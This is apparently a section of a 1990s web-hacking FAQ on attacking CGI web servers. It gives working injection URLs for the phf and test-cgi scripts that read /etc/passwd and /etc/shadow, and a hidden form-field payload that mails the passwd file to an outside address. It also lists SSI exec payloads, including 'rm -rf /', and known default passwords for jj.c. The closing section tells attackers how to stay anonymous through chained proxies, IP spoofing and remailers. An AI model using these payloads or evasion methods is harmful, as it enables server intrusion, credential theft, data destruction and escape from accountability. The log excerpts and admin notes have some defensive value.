|
|
URL Attack Time 02-1. What is phf? 02-2. What's the "test" hack? 02-3. What about that ~ character? 02-4. What's the deal with forms? 02-5. What will this look like in the target's log files? 02-6. What's the deal with Server-Side Includes? 02-7. What if SSIs are turned on but includes are stripped from user input? 02-8. What is the jj.c problem? 02-9. What are SSL and SHTTP? 02-10. How can I attack "anonymously"?
02-1. What is phf?
The phf file is an example CGI script that is used to update a phonebook style listing of people. By default a lot of sites have this file sitting in /cgi-bin/ and don't even know it. You know, they installed everything to default. However the phf file behaves "differently" if thrown a newline (0a) character. Here's the common attack for a Unix server -
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Or better yet, a series of commands -
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna me=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/~someuser/passwd http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname =haqr&Qemail=&Qnickname=&Qoffice_phone=
The above commands are
id ls -la ~someuser cp /etc/passwd ~someuser/passwd (normal URL access to get the passwd file) rm ~someuser/passwd
Obviously you get the point. You could try and access the files directly or move then to another location for retrieval. I've used a target OS of Unix as an example since it is the most common, although native OS commands for NT will work on an NT server just fine.
02-2. What's the "test" hack?
There is a test CGI script included with most servers that can be used to make sure environment variables and other info is being passed to the server properly during queries. This example file is called, appropriately, test-cgi on most systems. Here's how it works -
http://thegnome.com/cgi-bin/test-cgi?\whatever
The response will be something like -
CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = thegnome.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH =
Once again, the 0a character can be used to try and get this file to do other things, to say nothing of simply trying an asterisk -
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
These might get you a list of files in /cgi-bin/ -
http://thegnome.com/cgi-bin/test-cgi?* HTTP/1.0 http://thegnome.com/cgi-bin/test-cgi?x * http://thegnome.com/cgi-bin/nph-test-cgi?* HTTP/1.0 http://thegnome.com/cgi-bin/nph-test-cgi?x *
02-3. What about that ~ character?
The ~ is used during a "resolve" of a URL by the server as a shorthand for getting directly to user files. During server setup an admin can define a UserDir to something like /public_html/ so that ~ replaces /public_html/ when getting to a user's directory. Some Unix servers that do not have a /public_html/ will attempt to resolve to the home directory listed in /etc/passwd. I have confirmed this on BSD with Apache web software, but I am pretty sure other platforms may be affected. For example, this URL might return some interesting info -
http://thegnome.com/~root
If the server wasn't locked down good enough, bingo! Root directory of the server, and you can get to every public readable file -
http://thegnome.com/~root/etc/passwd
Some admins patch things with a symbolic link on the root of the file system to the top of the tree, but this still doesn't fix the second entry above. Only careful checking of the configuration of your specific web server as an admin will make sure you are okay. And not just ~root, but every user on the system, including putting a ~ in from of bin, daemon, uucp, etc. could compromise a system. The account does not have to have a valid shell or password, just a home directory of / will usually do quite nicely.
02-4. What's the deal with forms?
Here's the typical example. A web author has a form on a page that allows the public to send email to a certain address. But what if the author is going to be on vacation? What if the address needs to be changed each month? By including the address in the form the web author doesn't have to change the CGI script. Outside of the normal fields for From:, Subject:, etc. there is usually something in the form like this -
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@thegnome.com">
After clicking on the submit button, it goes to a CGI script. Once again it is typical to write out the info to a temp file and then read it back in to be sent to sendmail -
/* code snippet in C, although you can do the same type thing in Perl */ sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file); system(buffer);
A shell is being forked, and since in the code above the variables are being passed without being checked for extra stuff, you could copy the page locally (virtually every browser allows you to save the current document as a local HTML file). Once copied, edit the form to include the following -
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@thegnome.com;cat /etc/passwd | mail thegnome@5th.column.gov">
Note the addition including the semicolon. Since the semicolon tells the forked shell it has another completely separate command to run, which in this example sends the passwd file to a government spy.
It should be pointed out that for the most part you will have no idea that this type of technique is going to work until you try it. And look around, you will sometimes see these attempts at various places. It's always funny to see this entry in a guestbook -
From: fred@kissmybutt.com (200.200.200.200, 7/7/96 09:10 a.m. CST) Loved your web page. Looks nice.;mail phil@idiot.com < cat /etc/passwd
Not only does it have Phil's email address, but his real IP address and a time stamp. Ouch! So hackers, if you want to be evil try forging your IP address and sending the passwd file to a remailer. Admins, you'll have to read Section 07 - CGI, Perl, Scripts, etc.
02-5. What will this look like in the target's log files?
Here is an example:
thegnome.com unknown - [27/Sep/1996:02:28:29 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Aid%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone= &Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 116 thegnome.com unknown - [27/Sep/1996:02:29:04 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/passwd%0A&Qalias=&Qname=foo&Qemail=&Qnickname= &Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 724 1 thegnome.com unknown - [27/Sep/1996:02:29:57 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Auname%20-a%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffic e_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 154 thegnome.com unknown - [27/Sep/1996:02:31:30 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/shadow%0A&Qalias=&Qname=foo&Qemail=&Qnickname= &Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 105 thegnome.com unknown - [27/Sep/1996:02:32:06 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Als%20-la%20/etc/shadow%0A&Qalias=&Qname=foo&Qemail=&Qnick name=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 20 0 175 anothergnome.com unknown - [27/Sep/1996:02:35:44 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20-la%20/etc/shadow%0A&Qalias=&Qname=foo&Qemail=&Q nickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0 " 200 175 anothergnome.com unknown - [27/Sep/1996:02:38:24 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Agrep%20ftp%20/etc/passwd%0A&Qalias=&Qname=foo&Qemail= &Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1 .0" 200 138 anothergnome.com unknown - [27/Sep/1996:02:40:21 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Acp%20/etc/passwd%20%7Eftp/incoming%0A&Qalias=&Qname=f oo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qsl ip= HTTP/1.0" 200 119 anothergnome.com unknown - [27/Sep/1996:02:40:46 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Aid%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_ph one=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 116 anothergnome.com unknown - [27/Sep/1996:02:41:22 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_ph one=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 300 anothergnome.com unknown - [27/Sep/1996:02:43:18 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20%7Eftp/incoming%0A&Qalias=&Qname=foo&Qemail=&Qni ckname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 107
Two attacks. The first one involves trying to access /etc/passwd and /etc/shadow, with attempts to determine what id httpd is running under, with failed attempts at the passwd file. The second is a little more interesting, since /etc/shadow can't be accessed directly, the attacker tries to move the file to anonymous FTP's incoming directory for an alternate method of retrieval.
02-6. What's the deal with Server-Side Includes?
A Server-Side Include (SSI) is a way to imbed special operations and commands into an HTML document. The potential for abuse is there when they are combined with CGI and the modification of HTML.
The biggest example is the guestbook. Typically the common guestbook serves no real purpose except as a vanity, but they can be used as a point of attack. The idea is simple:
So what is bad? Consider these SSIs:
<!--#exec cmd="rm -rf /"--><!--#exec cmd="mail me@my.org < cat /etc/passwd"--><!--#exec cmd="chmod 777 ~ftp/incoming/uploaded_hack_script"--><!--#exec cmd="~ftp/incoming/uploaded_hack_script"--><!--#exec cmd="find / -name foobar -print"-->
Well, the first one erases everything that the id that httpd is running under owns. This is a little psycho, but should give you an idea on how serious this is (hope you're not running that httpd as root!). The next two give you a couple of more ideas to run with. And the last one, pasted into the document a couple hundred times will grind a server to a halt the next time that guestbook is accessed.
02-7. What if SSIs are turned on but includes are stripped from user
input?
If SSIs are allowed, you may still have a way to use them. If there is another method of user input, such as a completely separate script, it could possibly be exploited. Granted, if you could access the system via a separate script you probably won't be messing with SSI. But if an anon FTP "/incoming" directory is in place, and you can view an uploaded file via your browser, you could include the SSI stuff into an HTML file you've uploaded and then access it to run the SSI. Also, local users to the web server (even if they have only FTP access for uploading pages, common for an ISP) could do the same things.
02-8. What is the jj.c problem?
The demo cgi program jj.c calls /bin/mail without filtering user input, so any program based on jj.c could potentially be exploited by simply adding a ~ followed by a Unix command. It may require a password, but two known passwords include HTTPdrocks and SDGROCKS. If you can retrieve a copy of the compiled program running strings on it will probably reveil the password.
Do a web search on jj.c to get a copy and study the code yourself if you have more questions.
02-9. What are SSL and SHTTP?
SSL (Secure Socket Layer) and SHTTP (Secure HTTP) and are proposed encryption and user authentication standards for the Web. The basic idea behind the encryption is to encode the text of a message with a key. There are two ways to encrypt -- 1) symmetric - the same key is used for encoding and decoding, and 2) asymmetric - one key is used for encoding and another for decoding. In the latter there is a pair of keys that work together, with one being the public key for encoding, and the other being a private key for decoding. A typical implementation would use both - an asymmetric system would be used to transmit a symmetric key good for the current session.
For this to work in a web environment, you need the scheme built into the browser and the server. SSL is Netscape's answer. It uses low level encryption to encrypt transactions in higher-level protocols such as HTTP, NNTP and FTP. SSL is (currently) only for Netscape browsers and some Netscape servers. I have not had experience with this to a great extent, but SSL's main strength lies in encrypting the messages. The client authentication really isn't happening yet, and until some type of universal signature method is used (like Verisign) to sign clients, the only advantage is the message encryption. There is still no guarantee that you are who you say you are. Layman's terms? Look in Security Preferences under the Options menu in Netscape and look at your Site Certificates. These can be used to create a secure connection. You could still send a fake credit card number and claim you are Joe Blow, but at least your message could not be intercepted ;-)
SHTTP has been proposed by CommerceNet, a coalition of businesses interested in commercial Internet usage. It only works with HTTP, but is a bit more flexible than SSL. Currently SHTTP is implemented for the Open Marketplace Server from Open Market, Inc on the server side, and Secure HTTP Mosaic on the client side.
02-10. How can I attack "anonymously"?
There are a couple of ways to do this. First off, you could use a proxy. In the log files the proxy's address will be there, not yours. Of course the disadvantage is in case the target contacts the proxy site and the proxy site supplies the target with log info.
It is possible, even desireable, to chain proxies to cover your tracks. This assumes there are no limitations on the proxy, such as they only allow certain addresses to be proxied.
Of course since you don't need a browser to hack (telnet targetaddress 80 will work just the same), you can use traditional hack methods such as IP address spoofing or attacking from another location other than your home account. Using methods like these will probably mean you'll need to tack on a "| mail myaccount@some.remailer" onto the end of each attempt so you can see the results.